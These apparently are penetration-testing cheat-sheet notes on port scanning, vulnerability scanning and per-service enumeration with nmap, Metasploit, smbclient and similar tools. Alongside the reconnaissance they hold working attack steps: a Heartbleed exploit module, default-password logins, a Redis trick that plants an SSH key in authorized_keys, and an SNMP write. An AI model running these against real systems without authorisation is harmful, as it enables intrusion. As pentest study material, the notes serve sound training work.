Scanning

Password: hsaad.gitbook.io

TCP Behavior

  • send=SYN, recieve=SYN-ACK

    • Port Open

  • send=SYN, recieve=RST-ACK

    • Port Close

  • send=SYN, recieve=ICMP-Port-Unreachable

    • Blocked by Firewall (Filtered)

  • send=SYN, recieve=Nothing

    • Blocked by Firewall (Filtered)

UDP Behavior

  • send=UDP, recieve=UDP-response

    • Port Open

  • send=UDP, recieve=ICMP-Port-Unreachable

    • Port Close OR Blocked by Firewall

  • send=UDP, recieve=Nothing

    • Port Close OR Blocked by Firewall OR Port Open but it is looking for specific data in UDP payload, nmap result: (Open|Filtered)

Port Scanning

# Host Discovery (Internal)
nmap -sn 192.168.43.164 --reason -v -n

# Host Discovery (External)
nmap -sn 8.8.8.8 --reason -v -n

  1. ARP protocol if (local network).

  2. ICMP protocol if (run as root).

  3. TCP protocol on port 443 through SYN packet.

  4. TCP protocol on port 80 through ACK packet.

# TCP Port Scanning
nmap 192.168.43.164 --reason -v -n

# UDP Port Scanning
nmap 8.8.8.8 -Pn -sU -p53,161 -v -n
 
# MIX Port Scanning
nmap 192.168.1.1 -sS -sU -p U:53,111,161,T:21-25,80,445

# Wireshark Filter
ip.addr==192.168.43.164 and tcp.flags.ack==1 and tcp.flags.syn==1
ip.addr==192.168.43.164 and tcp.port==80
# Print Top 10 Ports
sort -r -k3 /usr/share/nmap/nmap-services | grep "/tcp" | head -n 10

# Scan Top 10 Ports
nmap 8.8.8.8 --reason -v -n --top-ports 10
# Version Scanning
nmap 192.168.43.164 --reason -v -n -sV

Vulnerability Scanning

# Scripts Location
ls -l /usr/share/nmap/scripts/
cat script.db | grep -E "vuln|exploit"

nmap 192.168.43.164 --reason -v -n -sV --script vuln,exploit
nmap 192.168.43.164 --reason -v -n -sV --script default # Or -sC
nmap 192.168.43.164 --reason -v -n --script smb-vuln*

Enumeration

FTP (21)

nc 10.0.2.9 21
> USER anonymous
> PASS anonymous
ftp 10.0.2.9 21

> help
> ascii | binary
> pwd # print current directory on remote host
> ls  # list files on remote host
> lcd # print current directory on local host
> !ls # list files on local host
> get /home/test/file.txt /home/msfadmin/file.txt # download files
> put /home/msfadmin/file.txt /home/test/file2.txt # upload files

SMTP (25)

# Telnet
telnet 192.168.1.104 25
# method 1 (VRFY)
> VRFY msfadmin
# method 2 (RCPT)
> MAIL FROM:msfadmin
> RCPT TO:msfadmin
# method 3 (EXPN)

# Metasploit
use auxiliary/scanner/smtp/smtp_enum

# SMTP-User-Enum Users
smtp-user-enum -M VRFY -U unix_users.txt -t 192.168.1.104

# SMTP-User-Enum Emails
smtp-user-enum -M VRFY -D mega.local -U unix_users.txt -t 192.168.1.104

# Users Wordlist
/usr/share/metasploit-framework/data/wordlists/unix_users.txt
/usr/share/seclists/Usernames/Names/names.txt

HTTP/HTTPS (80,443)

Note: Hostnames may be found in SSL Cert or DNS or Source Code.

# Directory Brute Force
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.56
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.56/cgi-bin/ -f -x php,txt,conf,sh,cgi

# SSL Cert Dump
echo | openssl s_client -connect 10.0.2.9:443 2>/dev/null | openssl x509 -noout -text | grep DNS:

# HeartBleed
nmap -sV --script=ssl-heartbleed 192.168.101.8

# Exploit
use auxiliary/scanner/ssl/openssl_heartbleed
set RHOSTS 192.168.101.8
set verbose true
run

POP3 (110)

telnet 192.168.1.105 110
> USER pelle@192.168.1.105
> PASS admin

# List all emails
list

# Retrive email number 5, for example
retr 5

RPCbind (111)

rpcinfo -p 10.0.2.9

SMB (139,445)

# Who Run SMB
nbtscan -r 192.168.100.0/24

# NULL Session
rpcclient -U "" -N 10.0.2.4
> enumdomusers
> queryuser 0x3e8

# Session with username and password
rpcclient -U "test" 10.0.2.4

# Enum4Linux
enum4linux -{U|S|P|G} 10.0.2.4
enum4linux -{U|S|P|G} -u TestUser -p TestPass 192.168.100.200

# List Shares
smbmap -H 192.168.0.34
smbmap -u TestUser -p TestPass -H 192.168.0.34

smbclient -L 192.168.0.76
smbclient -U TestUser -L 192.168.0.70

# Access Shares
smbclient //192.168.0.70/tmp
smbclient -U TestUser //192.168.0.70/tmp

NFS (2049)

# Show mounted partitions
showmount -e 192.168.1.109

# Connect to specific partition
mount 192.168.1.109:/ /tmp/NFS

# Disconnnect
umount /tmp/NFS

MySQL (3306)

# try default passwords root OR toor OR empty
mysql -h 192.168.1.101 -u root -p

Disctcc (3632)

# Disctcc v1 expoit
https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855

Redis (6379)

ssh-keygen -t rsa -f outkey
(echo -e "\n\n"; cat outkey.pub; echo -e "\n\n") > foo.txt
cat foo.txt | redis-cli -h 127.0.0.1 -x set crackit

redis-cli -h 127.0.0.1
ping
config get dir
config get *
config set dir /home/user/.ssh
config set dbfilename authorized_keys
save

ssh -i outkey redis@127.0.0.1

wget https://raw.githubusercontent.com/koboi137/john/bionic/ssh2john.py
python ssh2john.py outkey > outkey.txt
john --wordlist=/usr/share/wordlists/rockyou.txt outkey.txt

DNS (53)

# Lookup & Zone Transfer
host domain.name 8.8.8.8
host 1.1.1.1 8.8.8.8
host -t axfr domain.name dns-server

# Information Disclosure
dig @41.217.225.50 hostname.bind txt chaos
dig @41.217.225.50 version.bind txt chaos

NTP (123)

# NTP Mode 6 Query
ntpq -c rv IP
use scanner/ntp/ntp_unsettrap_dos

SNMP (161)

# Brute Force
nmap -sU --open -p 161 192.168.1.0/24
onesixtyone -c community.txt 192.168.1.244
onesixtyone -c community.txt -i ips.txt

# SNMP walk & set
snmpwalk -v1 -c public -t 10 192.168.1.244 > snmp.txt
snmpwalk -v1 -c public 192.168.1.244 iso.3.6.1.2.1.6.13.1.3 // Open ports
snmpset -v1 -c private 10.0.2.10 iso.3.6.1.2.1.1.5.0 s Hacked

# Metasploit
msfconsole
> use auxiliary/scanner/snmp/snmp_enum
> set rhosts 192.168.1.244
> run
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